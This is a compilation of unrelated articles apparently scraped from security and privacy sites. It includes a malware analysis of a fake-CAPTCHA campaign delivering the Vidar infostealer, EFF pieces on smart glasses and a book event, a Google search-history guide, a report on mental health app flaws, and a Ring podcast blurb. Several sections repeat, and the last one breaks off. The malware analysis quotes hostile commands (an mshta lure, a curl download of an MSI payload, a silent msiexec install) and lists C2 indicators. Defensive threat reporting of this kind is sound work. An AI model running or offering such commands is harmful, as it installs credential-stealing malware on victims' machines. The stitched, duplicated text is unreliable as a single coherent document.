In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves.
Our researchers have recently detected a campaign that ultimately delivers the Vidar infostealer, using several different infection chains.
One of the methods used in this campaign involves installing a malicious installer delivered through fake CAPTCHA pages hosted on compromised WordPress websites. We detected a number of compromised websites involved in the campaign, located in countries including Italy, France, the United States, the United Kingdom, and Brazil.
Vidar is a well-known infostealer malware family designed to harvest sensitive data from infected systems. It typically targets:
Because Vidar loads in memory and communicates with remote command servers, it can quietly collect and exfiltrate data without obvious signs of infection.
When a user visits a compromised website, they may see a screen mimicking Cloudflare’s familiar “Verifying you are human” page.
This technique has been widely used since 2024 and has evolved through numerous variations over time, both in its visual appearance and in the malicious commands that start the infection chain.
The page instructs the visitor to copy and run a malicious command that starts the infection chain, in this case:
mshta https://{compromised website}/challenge/cf
Mshta is a legitimate Windows binary designed to execute Microsoft HTML Application (HTA). Because it is built into Windows, attackers have abused it since the early days of the ClickFix campaigns.
In this case, the command launches a simple obfuscated HTA script, which eventually downloads and installs malware associated with the Vidar infostealer.
The HTA script is the intermediate stage that downloads and runs a malicious MSI installer. An MSI is a Windows installation package normally used to install software, but attackers frequently abuse it to deliver malware.
The script performs several operations:
Login
document.location.href doesn’t start with http.\AppData\Local to drop the MSI file.:Zone.Identifier alternate data stream.In this case, the malicious MSI was downloaded using the following command:
“C:\Windows\System32\curl.exe" -s -L -o “C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi” https://{compromised-website}/474a2b77/5ef46f21e2.msi
Afterward, the malicious MSI was executed with:
"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi" /qn
The MSI defines a CustomAction ConfigureNetFx, and it executes a GoLang loader.
Malware loaders (also known as droppers or downloaders) are common tools in the cybercrime ecosystem. Their main job is to stealthily compromise a system and then deliver one or more additional malware payloads.
In this campaign, the loader ultimately decrypts and executes the Vidar infostealer. The executable has different names in the different MSI samples analyzed.
The Golang loader decodes a shellcode that performs different anti-analysis checks, including:
CheckRemoteDebuggerPresent
IsDebuggerPresent
QueryPerformanceCounter
GetTickCount
After several intermediate steps, the loader decrypts and loads Vidar infostealer directly into memory.
The malicious iframe injected into the compromised websites was generated by the domains cdnwoopress[.]com or woopresscdn[.]com in the analyzed cases.
The injected code has several functions, and the command used in the fake CAPTCHA attack is obtained from the /api/get_payload endpoint.
Because the malicious website was misconfigured, we were able to view the backend code injected into the compromised WordPress sites.
The injected script performs several actions:
wp-cache-manager.php if it doesn’t already exist, obtaining its contents from the endpoint /api/plugin.template_redirect), the script filters visitors based on User-Agent and targets Windows desktop visitors./api/inject?domain=domain from the remote command server. The response HTML is then displayed, replacing the normal WordPress page.Attacks like this rely on tricking people into running commands themselves, so a few simple precautions can make a big difference.
Pro tip: The free Malwarebytes Browser Guard extension can warn you if a website attempts to copy content to your clipboard, which may help prevent this type of attack.
Domains
cdnwoopress[.]com: Fake CAPTCHA Infrastructurewoopresscdn[.]com: Fake CAPTCHA Infrastructurewalwood[.]be: Fake CAPTCHA Infrastructuretelegram[.]me/dikkh0k: Vidar C2telegram[.]me/pr55ii: Vidar C2steamcommunity[.]com/profiles/76561198742377525: Vidar C2steamcommunity[.]com/profiles/76561198735736086: Vidar C2We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
Over the last decade or so, the tech industry has tried, and mostly failed, to make “smart glasses”—tech-infused glasses with cameras, AI, maps, displays, and more—a thing. But in the past year, products like Meta’s Ray-Ban Display Glasses and Oakley’s Meta Glasses have gone from a curious niche to the mainstream.
Before you strap a dashcam to your face and sprint out into the world filming everything and everyone in your life, there are some civil liberties and privacy concerns to consider before buying or using a pair.
Meta is the biggest company that makes these sorts of glasses and their partnerships with Ray-Ban and Oakely are the most popular options, so we’ll be mostly focusing on them here. Others, like models from Snapchat are similar in form but far less ubiquitous. But Meta won’t hold this space for long. Google’s already announced a partnership with Warby Parker for their “AI-powered smart glasses,” and there are rumors around a competing product from Apple.
With that, let’s dive into some of the considerations you should make before purchasing a pair.
The photos and videos you record with most smartglasses will likely be stored online at some point in the process. On Meta’s offerings, unless you are livestreaming, media you capture when you press the camera button is kept on the glasses until you import them onto your phone, but media is imported automatically by default into the Meta AI mobile app, which is required to set up the glasses.
You can't use any AI features locally on the glasses. So anytime you use AI features, like when you say, “Hey Meta, start recording,” the footage is fed to Meta. You can use the glasses without the Meta AI app entirely, but considering you can’t easily download footage from the glasses to your phone without it, most people will likely use the app.
Some videos are fed to Meta for AI training, and we know at least in some cases that those videos go through human review. An investigation by Swedish newspapers found that workers were reviewing and annotating camera footage, which includes all sorts of sensitive videos, including nudity, sex, and going to the bathroom. Meta claimed to the BBC that this is in accordance with its terms of use, all in the name of AI training, which states:
In some cases, Meta will review your interactions with AIs, including the content of your conversations with or messages to AIs, and this review may be automated or manual (human).
This all means that Meta and their third-party contractors will have access to at least some of what you record, and it’s very hard as a user to know where footage goes, who will have access to it, and what they will do with it. When you save footage to your phone’s camera roll, which is where the Meta AI app stores content, that might also be sent to Apple or Google’s servers, depending on your settings. Employees at these companies can then possibly access that media, and it could be shared with law enforcement.
The recorded audio from conversations with Meta AI are also saved by default, and if you don’t like that, tough luck, unless you go in and manually delete them every time you say something.
A common argument in favor of using the cameras in smartglasses is that phones and cameras can do this too, and it’s never been a problem.
But smartglasses are designed to resemble regular glasses, to the point where most reviews point out how friends didn’t notice that they had cameras embedded in them. They’re designed to be invisible to those being recorded—outside of a small indicator light when they’re recording video footage (that cheap hacks can disable)—whereas it is often obvious that a person is recording if they pull their phone out of their pocket and point it at someone else.
They’re designed to be invisible to those being recorded, outside of a small indicator light when they’re recording.
Moreover, constant recording of everything in public spaces can create all sorts of potential privacy problems, some more obvious than others. This is another way that cameras on glasses are different from cameras on phones: it is far easier to constantly record one’s whereabouts with the former than the latter. If you continuously record, maybe you just happen to catch someone entering their passcode or password onto their phone or computer at a coffee shop, or broadcast someone’s bank details when you’re standing in line at an ATM. That doesn’t even begin to get into when smartglasses are intentionally used for less socially responsible means. And some people may forget to turn off their smartglasses when they enter a private space like a bathroom.
And if you find yourself caught on someone’s camera, there’s not much you can do in recourse. If you do notice a stranger recording you, it’s up to you to intervene and ask not to be included in that footage, which can easily turn awkward or confrontational.
Our expectations of privacy shift when we’re in public, but bystanders in many cases will still have privacy interests. Public spaces are a place where you will be seen, but that shouldn’t mean it’s suddenly okay to catalog and identify everyone.
Meta, Google, Apple—perhaps one benefit of all the major tech companies entering this market is that we already have a good idea of how much they tend to respect the privacy of their users or the openness of their platforms. Spoiler, it’s often not much.
Meta has a long history of privacy invasive technologies and practices. We’ve heard rumblings that Meta hopes to add face recognition to its smartglasses, preferably, “during a dynamic political environment where many civil society groups that we would expect to attack us would have their resources focused on other concerns.” Yikes. This is a monumentally bad idea that should be abandoned by Meta and any of its competitors considering a similar feature. But regardless of whether they launch this feature, it’s a pretty clear indication of where Meta wants these sorts of devices to go.
You can disable a couple of the features where unnecessary data is sent to Meta. In the Meta AI app, under the device settings, there’s a privacy page where you can disable sharing additional data, and more importantly, turn off “Cloud media,” where your photos and videos are sent to Meta’s cloud for processing and temporary storage.
These glasses can be useful for filming a variety of activities. We’ve seen fascinating scenes of tattoo artists doing their work (with client’s permission), and it doesn’t take a stretch of the imagination to see how people might use it to film extreme sports. Even on an everyday level, you might find them useful for capturing holidays, birthdays, and all sorts of other private occasions.
But if you buy these glasses for a specific, mostly private purpose, it is probably best to stick to that, instead of wearing them everywhere and recording everything you do.
You often have a right to record in public spaces, but that doesn’t mean other people will like it. Businesses, including restaurants and stores, may want nothing to do with continuous filming and may either post a sign asking you not to use smartglasses, or ask you to stop. This may reflect the preferences not just of the business owner, but the people around you. And don’t use glasses to record when you enter other people’s private spaces like bathrooms or changing rooms.
It’s also a good idea to check in with friends and family before tapping that record button at a social gathering. Some people may not be as comfortable with these glasses as they are with other recording equipment.
Blurring video footage isn’t an easy task, but if you’re considering uploading footage from something like a protest, it may be worth the effort to do so (apps like Meta’s Edits simplify this process, as do some other video sites, like YouTube). Some people don’t want the government to see their faces at protests, and might be afraid to attend if other people are uploading their faces.
Some people don’t want the government to see their faces at protests, and might be afraid to attend if other people are uploading their faces.
It would be better if Meta leveraged its AI features to offer this sort of feature automatically, especially with livestreaming. It’s not that outlandish of a request, as it seems like the company tries to blur faces automatically in footage it captures for annotation, though it’s not always reliable. After all, Google began redacting faces in Street View years ago, following privacy concerns from groups like EFF.
Adding facial recognition technology to smartglasses would obliterate the privacy of everyone. We cannot let companies push face recognition into these glasses, and as a user, you should make your voice clear that this is not something you want.
Smartglasses don’t have to be used to decimate the privacy of anyone you encounter during the day. There are legitimate uses out there, but it’s up to those who use them to respect the social norms of the spaces they enter and the people they encounter.
Your Google Search history provides one of the most detailed windows into your private life, and I know this because when I looked at my own search history last year, I was overwhelmed by the information buried within.
Across just 18 months, Google tracked the 8,079 searches I made and the 3,050 websites I visited because of those searches. That included my late-night perusal of WebMD because of medical symptoms I’d looked up just seconds before, my tour of Goodwill donation sites as I searched for where to drop off clothes ahead of an upcoming move, and my ironically tracked visit to a Reddit thread titled “How do I delete most, if not all, of my info off of the Internet?” (One answer I learned: Don’t use Google Search.)
Google tracked my every question, concern, and flight of fancy—almost literally. On just one day in August 2025, Google recorded the seven flight searches I made on Google Flights and the six hotel searches I made on Google Travel.
Google also recorded the many questions and requests I made when researching topics for the Lock and Code podcast, which I host. And while all of that Google data made for an interesting investigation into what Google knows about me (which you can listen to below), it also made it clear that more people should know how to access this same information.
For most Google users, if Web & App Activity is turned on, Google is saving what they look up, what time they looked it up, and what websites they clicked on as a result. There are ways to turn that data tracking off, but the first step is to know where to look.
Here’s how to do that.
You can start by opening your web browser and signing into Google’s centralized hub for your data online at myactivity.google.com.
Once logged in, you’ll see the above welcome screen with quick settings that you can change, if you want to. Those settings are different for some users, but may include:
Further down on the page, you can browse through your Google Search history. (Our screenshot gallery below can help walk you through the steps.)
After you press Apply, you’ll be taken to a webpage that lists your Google Search history in reverse chronological order, showing you your most recent activity first. As you scroll down, you can find older activity. You can also use the search bar at the top of the page to look for individual pieces of activity, like a search or series of searches that you previously made.
From here, you can also delete individual Google Search entries so that Google no longer stores that data. This will only apply to the individual search you made.
If you want to better protect your privacy, making targeted deletions from your Google Search history is a difficult, lengthy, and imperfect method. Instead, you can simply tell Google to stop recording any of your searches from now on.
There’s a simple way to instruct Google to stop saving your online searches to your Google Account, and it takes just a few clicks. Follow the instructions below, along with the image gallery, for guidance.
If you selected Turn off, you’re done. Google will no longer save your Google Searches as part of your overall Google profile activity. This option means that Google still has your prior searches recorded, though. So, if you want, you can choose the second option, Turn off and delete activity.
When you select that option, Google will walk you through additional steps to choose what types of data you want erased, such as past activity tied to Google Search, Maps, Ads, Image Search, Google Play Store, Help and other services. All of these options reveal just how many products and pipelines Google has built to vacuum up your data.
Don’t be overwhelmed, though. Go through the list at your own pace and start making decisions about your data that are right for you.
We don’t just report on data privacy—we help you remove your personal information
Cybersecurity risks should never spread beyond a headline. With Malwarebytes Personal Data Remover, you can scan to find out which sites are exposing your personal information, and then delete that sensitive data from the internet.
Your Google Search history provides one of the most detailed windows into your private life, and I know this because when I looked at my own search history last year, I was overwhelmed by the information buried within.
Across just 18 months, Google tracked the 8,079 searches I made and the 3,050 websites I visited because of those searches. That included my late-night perusal of WebMD because of medical symptoms I’d looked up just seconds before, my tour of Goodwill donation sites as I searched for where to drop off clothes ahead of an upcoming move, and my ironically tracked visit to a Reddit thread titled “How do I delete most, if not all, of my info off of the Internet?” (One answer I learned: Don’t use Google Search.)
Google tracked my every question, concern, and flight of fancy—almost literally. On just one day in August 2025, Google recorded the seven flight searches I made on Google Flights and the six hotel searches I made on Google Travel.
Google also recorded the many questions and requests I made when researching topics for the Lock and Code podcast, which I host. And while all of that Google data made for an interesting investigation into what Google knows about me (which you can listen to below), it also made it clear that more people should know how to access this same information.
For most Google users, if Web & App Activity is turned on, Google is saving what they look up, what time they looked it up, and what websites they clicked on as a result. There are ways to turn that data tracking off, but the first step is to know where to look.
Here’s how to do that.
You can start by opening your web browser and signing into Google’s centralized hub for your data online at myactivity.google.com.
Once logged in, you’ll see the above welcome screen with quick settings that you can change, if you want to. Those settings are different for some users, but may include:
Further down on the page, you can browse through your Google Search history. (Our screenshot gallery below can help walk you through the steps.)
After you press Apply, you’ll be taken to a webpage that lists your Google Search history in reverse chronological order, showing you your most recent activity first. As you scroll down, you can find older activity. You can also use the search bar at the top of the page to look for individual pieces of activity, like a search or series of searches that you previously made.
From here, you can also delete individual Google Search entries so that Google no longer stores that data. This will only apply to the individual search you made.
If you want to better protect your privacy, making targeted deletions from your Google Search history is a difficult, lengthy, and imperfect method. Instead, you can simply tell Google to stop recording any of your searches from now on.
There’s a simple way to instruct Google to stop saving your online searches to your Google Account, and it takes just a few clicks. Follow the instructions below, along with the image gallery, for guidance.
If you selected Turn off, you’re done. Google will no longer save your Google Searches as part of your overall Google profile activity. This option means that Google still has your prior searches recorded, though. So, if you want, you can choose the second option, Turn off and delete activity.
When you select that option, Google will walk you through additional steps to choose what types of data you want erased, such as past activity tied to Google Search, Maps, Ads, Image Search, Google Play Store, Help and other services. All of these options reveal just how many products and pipelines Google has built to vacuum up your data.
Don’t be overwhelmed, though. Go through the list at your own pace and start making decisions about your data that are right for you.
We don’t just report on data privacy—we help you remove your personal information
Cybersecurity risks should never spread beyond a headline. With Malwarebytes Personal Data Remover, you can scan to find out which sites are exposing your personal information, and then delete that sensitive data from the internet.
In February 2026, the cybersecurity firm Oversecured published a report that makes you want to factory reset your phone and move into a remote cabin in the woods. Researchers audited 10 popular Android mental health apps — ranging from mood trackers and AI therapists to tools for managing depression and anxiety — and uncovered… 1575 vulnerabilities! Fifty-four of those flaws were classified as critical. Given the download stats on Google Play, as many as 15 million people could be affected. The real kicker? Six out of the ten apps tested explicitly promised users that their data was “fully encrypted and securely protected”.
We’re breaking down this scandalous “brain drain”: what exactly could leak, how it’s happening, and why “anonymity” in these services is usually just a marketing myth.
Oversecured is a mobile app security firm that uses a specialized scanner to analyze APK files for known vulnerability patterns across dozens of categories. In January 2026, researchers ran ten mental health monitoring apps from Google Play through the scanner — and the results were, shall we say, “spectacular”.
| App Type | Installs | Security vulnerabilities | |||
| High-severity | Medium-severity | Low-severity | Total | ||
| Mood & habit tracker | 10M+ | 1 | 147 | 189 | 337 |
| AI therapy chatbot | 1M+ | 23 | 63 | 169 | 255 |
| AI emotional health platform | 1M+ | 13 | 124 | 78 | 215 |
| Health & symptom tracker | 500k+ | 7 | 31 | 173 | 211 |
| Depression management tool | 100k+ | 0 | 66 | 91 | 157 |
| CBT-based anxiety app | 500k+ | 3 | 45 | 62 | 110 |
| Online therapy & support community | 1M+ | 7 | 20 | 71 | 98 |
| Anxiety & phobia self-help | 50k+ | 0 | 15 | 54 | 69 |
| Military stress management | 50k+ | 0 | 12 | 50 | 62 |
| AI CBT chatbot | 500k+ | 0 | 15 | 46 | 61 |
| Total | 14.7М+ | 54 | 538 | 983 | 1575 |
Vulnerabilities found in the 10 tested mental health apps. Source
The discovered vulnerabilities are diverse, but they all boil down to one thing: giving attackers access to data that should be under lock and key.
For starters, one of the vulnerabilities allows an attacker to access any internal activity of the app — even that never intended for external eyes. This opens the door to hijacking authentication tokens and user session data. Once an attacker has those, they essentially could gain access to a user’s therapy records.
Another issue is insecure local data storage with read permissions granted to any other app on the device. In other words, that random flashlight app or calculator on your smartphone could potentially read your cognitive behavioral therapy (CBT) logs, personal notes, and mood assessments.
The researchers also found unencrypted configuration data baked right into the APK installation files. This included backend API endpoints and hardcoded URLs for Firebase databases.
Furthermore, several apps were caught using the cryptographically weak java.util.Random class to generate session tokens and encryption keys.
Finally, most of the tested apps lacked root/jailbreak detection. On a rooted device, any third-party app with root privileges could gain total access to every bit of locally stored medical data.
Shockingly, of the 10 apps analyzed, only four received updates in February 2026. The rest haven’t seen a patch since November 2025, and one hasn’t been touched since September 2024. Going 18 months without a security patch is a lifetime in this industry — especially for an app housing mood journals, therapy transcripts, and medication schedules.
Here’s a quick reminder of just how dangerous the misuse of this type of data gets. In 2024, the tech world was rocked by a sophisticated attack on XZ Utils, a critical component found in virtually every operating system based on the Linux kernel. The attacker successfully pressured the maintainer into handing over code commit permissions by exploiting the developer’s public admission of burnout and a lack of motivation to carry on with the project. Had the attack been completed, the damage would have been mind-boggling given that roughly 80% of the world’s servers run on Linux.
What do these apps collect and store? It’s the kind of stuff you’d likely only share with a trusted clinician: therapy session transcripts, mood logs, medication schedules, self-harm indicators, CBT notes, and various clinical assessment scales.
As far back as 2021, complete medical records were selling on the dark web for US$1000 each. For comparison, a stolen credit card number goes for anywhere between US$5 and US$30. Medical records contain a full identity package: name, address, insurance details, and diagnostic history. Unlike a credit card, you can’t exactly “reissue” your medical history. Furthermore, medical fraud is notoriously difficult to spot. While a bank might flag a suspicious transaction in hours, a fraudulent insurance claim for a phantom treatment can go unnoticed for years.
The Oversecured study isn’t just an isolated horror story.
Back in 2020, Julius Kivimäki hacked the database of the Finnish psychotherapy clinic Vastaamo, making off with the records of 33 000 patients. When the clinic refused to cough up a €400 000 ransom, Kivimäki began sending direct threats to patients: “Pay €200 in Bitcoin within 24 hours, or else your records go public”. Ultimately, he leaked the entire database onto the dark web anyway. At least two people died by suicide, and the clinic was forced into bankruptcy. Kivimäki was eventually sentenced to six years and three months in prison, marking a record-breaking trial in Finland for the sheer number of victims involved.
In 2023, the U.S. Federal Trade Commission (FTC) slapped the online therapy giant BetterHelp with a US$7.8 million fine. Despite stating on their sign-up page that your data was strictly confidential, the company was caught funneling user info — including mental health questionnaire responses, emails, and IP addresses — to Facebook, Snapchat, Criteo, and Pinterest for targeted advertising. After the dust settled, 800 000 affected users received a grand total of… US$10 each in compensation.
By 2024, the FTC set its sights on the telehealth firm Cerebral, tagging them with a US$7 million fine. Through tracking pixels, Cerebral leaked the data of 3.2 million users to LinkedIn, Snapchat, and TikTok. The haul included names, medical histories, prescriptions, appointment dates, and insurance info. And the cherry on top? The company sent promotional postcards (sans envelopes) to 6000 patients, which effectively broadcasted that the recipients were undergoing psychiatric treatment.
In September 2024, security researcher Jeremiah Fowler stumbled upon an exposed database belonging to Confidant Health, a provider specializing in addiction recovery and mental health services. The database contained audio and video recordings of therapy sessions, transcripts, psychiatric notes, drug test results, and even copies of driver’s licenses. In total, 5.3 terabytes of data, 126 000 files, or 1.7 million records were sitting there without a password.
Developers love to drop the line: “We never share your personal data with anyone.” Technically, that might be true — instead, they share “anonymized profiles”. The catch? De-anonymizing that data isn’t exactly rocket science anymore. Recent research highlights that using LLMs to strip away anonymity has become a routine reality.
Even the “anonymization” process itself is often a mess. A study by Duke University revealed that data brokers are openly hawking the mental health data of Americans. Out of 37 brokers surveyed, 11 agreed to sell data linked to specific diagnoses (like depression, anxiety, and bipolar disorder), demographic parameters, and in some cases, even names and home addresses. Prices started as low as US$275 for 5000 aggregated records.
According to the Mozilla Foundation, by 2023, 59% of popular mental health apps failed to meet even the most basic privacy standards, and 40% had actually become less secure than the previous year. These apps allowed account creation via third-party services (like Google, Apple, and Facebook), featured suspiciously brief privacy policies that glossed over data collection details, and employed a clever little loophole: some privacy policies applied strictly to the company’s website, but not the app itself. In short, your clicks on the site were “protected”, but your actions within the app were fair game.
Cutting these apps out of your life entirely is, of course, the most foolproof option — but it’s not the most realistic one. Besides, there’s no guarantee you can actually nuke the data already collected — even if you delete your account. We previously covered the grueling process of scrubbing your info from data broker databases; it’s possible, but prepare for a headache. So, how can you stay safe?
What else you should know about privacy settings and controlling your personal data online:
We're celebrating the launch of Privacy's Defender, a new book by EFF Executive Director Cindy Cohn on Thursday, March 12—and we want you to join us! Cindy has tangled with the feds, fought for your data security, and argued before judges to protect our access to science and knowledge on the internet. In Privacy's Defender she asks: can we still have private conversations if we live our lives online?
Join the festivities for a live conversation between Cindy Cohn and Annalee Newitz followed by a book signing with Cindy.
$20 General Admission for 1
$30 Discounted tickets for 2
$12.50 Student Ticket
All proceeds benefit EFF's mission.
Want your own copy of Privacy's Defender?
Save $10 when you preorder the book with your ticket purchase
WHEN:
Thursday, March 12th, 2026
6:30 pm to 9:30 pm
WHERE:
Ciel Creative Space
Entrance located at:
940 Parker St, Berkeley, CA 94710
6:30 PM Doors Open
7:15 PM Program Begins
Throughout her career, Cindy Cohn has been driven by a fundamental question: Can we still have private conversations if we live our lives online? Privacy’s Defender chronicles her thirty-year battle to protect our right to digital privacy and shows just how central this right is to all our other rights, including our ability to organize and make change in the world.
Shattering the hypermasculine myth that our digital reality was solely the work of a handful of charismatic tech founders, the author weaves her own personal story with the history of Crypto Wars, FBI gag orders, and the post-9/11 surveillance state. She describes how she became a seasoned leader in the early digital rights movement, as well as how this work serendipitously helped her discover her birth parents and find her life partner. Along the way, she also details the development of the Electronic Frontier Foundation, which she grew from a ragtag group of lawyers and hackers into one of the most powerful digital rights organizations in the world.
Part memoir and part legal history for the general reader, the book is a compelling testament to just how hard-won the privacy rights we now enjoy as tech users are, but also how crucial these rights are in our efforts to combat authoritarianism, grow democracy, and strengthen other human rights. Learn about the Privacy's Defender book tour.
Street parking is available around the building.
The main event space is wheelchair accessible, on concrete. Lively music will be playing, and the speakers will be using a microphone, so louder volumes are expected. EFF is committed to improving accessibility for our events. If you will be attending in-person and need accommodation, or have accessibility questions prior to the event, please contact events@eff.org.
Wine & Beer will be available for purchase. Cellarmaker Brewing Co., located next door to Ciel Space, will be serving food until 8:00 pm.
Email us at events@eff.org.
Cindy Cohn
Cindy Cohn is the Executive Director of the Electronic Frontier Foundation. From 2000-2015 she served as EFF’s Legal Director as well as its General Counsel. Ms. Cohn first became involved with EFF in 1993, when EFF asked her to serve as the outside lead attorney in Bernstein v. Dept. of Justice, the successful First Amendment challenge to the U.S. export restrictions on cryptography.
Ms. Cohn has been named to TheNonProfitTimes 2020 Power & Influence TOP 50 list, honoring 2020's movers and shakers. In 2018, Forbes included Ms. Cohn as one of America's Top 50 Women in Tech. The National Law Journal named Ms. Cohn one of 100 most influential lawyers in America in 2013, noting: "[I]f Big Brother is watching, he better look out for Cindy Cohn." She was also named in 2006 for "rushing to the barricades wherever freedom and civil liberties are at stake online." In 2007 the National Law Journal named her one of the 50 most influential women lawyers in America. In 2010 the Intellectual Property Section of the State Bar of California awarded her its Intellectual Property Vanguard Award and in 2012 the Northern California Chapter of the Society of Professional Journalists awarded her the James Madison Freedom of Information Award.
Ms. Cohn is the author of the professional memoir, called Privacy's Defender to be published by MIT Press in March, 2026. She is also the co-host of EFF's award-winning podcast, How to Fix the Internet.
Annalee Newitz
Annalee Newitz writes science fiction and nonfiction. They are the author of four novels: Automatic Noodle, The Terraformers, The Future of Another Timeline, and Autonomous, which won the Lambda Literary Award. As a science journalist, they are the author of Stories Are Weapons: Psychological Warfare and the American Mind, Four Lost Cities: A Secret History of the Urban Age and Scatter, Adapt and Remember: How Humans Will Survive a Mass Extinction, which was a finalist for the LA Times Book Prize in science. They are a writer for the New York Times and elsewhere, and have a monthly column in New Scientist. They have published in The Washington Post, Slate, Scientific American, Ars Technica, The New Yorker, and Technology Review, among others. They were the co-host of the Hugo Award-winning podcast Our Opinions Are Correct, and have contributed to the public radio shows Science Friday, On the Media, KQED Forum, and Here and Now. Previously, they were the founder of io9, and served as the editor-in-chief of Gizmodo.
Join EFF Executive Director Cindy Cohn in conversation with 404 Media Cofounder Jason Koebler to discuss Privacy's Defender: My Thirty-Year Fight Against Digital Surveillance, Cindy’s personal story of standing up to the Justice Department, taking on the NSA, and tangling with the FBI to protect our right to digital privacy. The highly anticipated book asks the fundamental question: Can we still have private conversations if we live our lives online? Join the livestream for a live discussion followed by by Q&A.
This event will be live-captioned and recorded. EFF is committed to improving accessibility for our events. If you have any accessibility questions regarding the event, please contact events@eff.org.
EFF is dedicated to a harassment-free experience for everyone, and all participants are encouraged to view our full Event Expectations.
Want to make sure you don’t miss our next livestream? Here’s a link to sign up for updates about this series: eff.org/ECUpdates. If you have a friend or colleague that might be interested, please join the fight for your digital rights by this link: eff.org/EFFectingChange. Thank you for helping EFF spread the word about privacy and free expression online.
We hope you and your friends can join us live! If you can't make it, we’ll post the recording afterward on YouTube and the Internet Archive!
Cindy Cohn
Cindy Cohn is the Executive Director of the Electronic Frontier Foundation. From 2000-2015 she served as EFF’s Legal Director as well as its General Counsel. Ms. Cohn first became involved with EFF in 1993, when EFF asked her to serve as the outside lead attorney in Bernstein v. Dept. of Justice, the successful First Amendment challenge to the U.S. export restrictions on cryptography. Ms. Cohn has been named to TheNonProfitTimes 2020 Power & Influence TOP 50 list, honoring 2020's movers and shakers. In 2018, Forbes included Ms. Cohn as one of America's Top 50 Women in Tech. The National Law Journal named Ms. Cohn one of 100 most influential lawyers in America in 2013, noting: "[I]f Big Brother is watching, he better look out for Cindy Cohn." She was also named in 2006 for "rushing to the barricades wherever freedom and civil liberties are at stake online." In 2007 the National Law Journal named her one of the 50 most influential women lawyers in America. In 2010 the Intellectual Property Section of the State Bar of California awarded her its Intellectual Property Vanguard Award and in 2012 the Northern California Chapter of the Society of Professional Journalists awarded her the James Madison Freedom of Information Award.
Jason Koebler
Jason Koebler is a cofounder of 404 Media, a journalist-owned investigative tech publication. He reports on surveillance and privacy, the ways that artificial intelligence is changing the internet, labor, and society, and consumer rights. Before 404 Media, he was the editor-in-chief of Motherboard, VICE's technology publication and an executive producer on Encounters, a Netflix documentary about the search for alien life.
This week on the Lock and Code podcast…
On February 8, during the Super Bowl in the United States, countless owners of one of the most popular smart products today got a bit of a wakeup call: Their Ring doorbells could be used to see a whole lot more than they knew.
In a commercial that was broadcast to one of most reliably enormous audiences in the country, Amazon, which owns the company Ring, promoted a new feature for its smart doorbells called “Search Party.” By scouring the footage of individual Ring cameras across a specific region, “Search Party” can implement AI-powered image recognition technology to find, as the commercial portrayed it, a lost dog. But immediately after the commercial aired, people began wondering what else their Ring cameras could be used to find.
As US Senator Ed Markey wrote on social media:
“Ring’s Super Bowl ad exposed a scary truth: the technology in its doorbell cameras could be used to hunt down a lost pet…or a person. Amazon must discontinue its dystopian monitoring features.”
These “dystopian monitoring features” aren’t entirely new, but that’s not to say that most Ring owners knew what they were allowing when they originally bought their devices.
Bought by Amazon in 2018, Ring is the most popular manufacturer of a product that, as of 15 years ago, didn’t really exist. And while other “smart” innovations failed, smart doorbells have become a fixture of American neighborhoods, providing a mixture of convenience and security. For instance, a Ring owner away from home can verify and buzz in their mailman dropping off a package behind a gated entrance. Or, a Ring owner can see on their phone that the person knocking at their door is a salesman and choose to avoid talking to them. Or, a Ring owner can help police who are investigating a crime in their area by handing over relevant footage. Even the presence of a Ring doorbell, and its variety of motion-detecting alerts, could possibly serve as a deterrent to crime.
What has seemingly upset so many of those same owners, then, is learning exactly how their personal devices might be used for a company’s gains.
Today, on the Lock and Code podcast with host David Ruiz, we speak with Matthew Guariglia, senior policy analyst at Electronic Frontier Foundation, about Ring’s long history of partnering with—and sometimes even speaking directly for—police, who can access Ring doorbell footage both inside the company and outside it, and what people really open themselves up to when purchasing a Ring device.
”There’s this impression, a myth practically, that ‘I buy a ring doorbell to put on my house, I control the footage… But there is [an] entire secondary use of this device, which is by police that you don’t really get a lot of say in.”
Tune in today to listen to the full conversation.
Show notes and credits:
Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)
Licensed under Creative Commons: By Attribution 4.0 License
http://creativecommons.org/licenses/by/4.0/
Outro Music: “Good God” by Wowa (unminus.com)
Listen up—Malwarebytes doesn’t just talk cybersecurity, we provide it.
Protect yourself from online attacks that threaten your identity, your files, your system, and your financial well-being with our exclusive offer for Malwarebytes Premium Security for Lock and Code listeners.
This week on the Lock and Code podcast…
On February 8, during the Super Bowl in the United States, countless owners of one of the most popular smart products today got a bit of a wakeup call: Their Ring doorbells could be used to see a whole lot more than they knew.
In a commercial that was broadcast to one of most reliably enormous audiences in the country, Amazon, which owns the company Ring, promoted a new feature for its smart doorbells called “Search Party.” By scouring the footage of individual Ring cameras across a specific region, “Search Party” can implement AI-powered image recognition technology to find, as the commercial portrayed it, a lost dog. But immediately after the commercial aired, people began wondering what else their Ring cameras could be used to find.
As US Senator Ed Markey wrote on social media:
“Ring’s Super Bowl ad exposed a scary truth: the technology in its doorbell cameras could be used to hunt down a lost pet…or a person. Amazon must discontinue its dystopian monitoring features.”
These “dystopian monitoring features” aren’t entirely new, but that’s not to say that most Ring owners knew what they were allowing when they originally bought their devices.
Bought by Amazon in 2018, Ring is the most popular manufacturer of a product that, as of 15 years ago, didn’t really exist. And while other “smart” innovations failed, smart doorbells have become a fixture of American neighborhoods, providing a mixture of convenience and security. For instance, a Ring owner away from home can verify and buzz in their mailman dropping off a package behind a gated entrance. Or, a Ring owner can see on their phone that the person knocking at their door is a salesman and choose to avoid talking to them. Or, a Ring owner can help police who are investigating a crime in their area by handing over relevant footage. Even the presence of a Ring doorbell, and its variety of motion-detecting alerts, could possibly serve as a deterrent to crime.
What has seemingly upset so many of those same owners, then, is learning exactly how their personal devices might be used for a company’s gains.
Today, on the Lock and Code podcast with host David Ruiz, we speak with Matthew Guariglia, senior policy analyst at Electronic Frontier Foundation, about Ring’s long history of partnering with—and sometimes even speaking directly for—police, who can access Ring doorbell footage both inside the company and outside it, and what people really open themselves up to when purchasing a Ring device.
”There’s this impression, a myth practically, that ‘I buy a ring doorbell to put on my house, I control the footage… But there is [an] entire secondary use of this device, which is by police that you don’t really get a lot of say in.”
Tune in today to listen to the full conversation.
Show notes and credits:
Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)
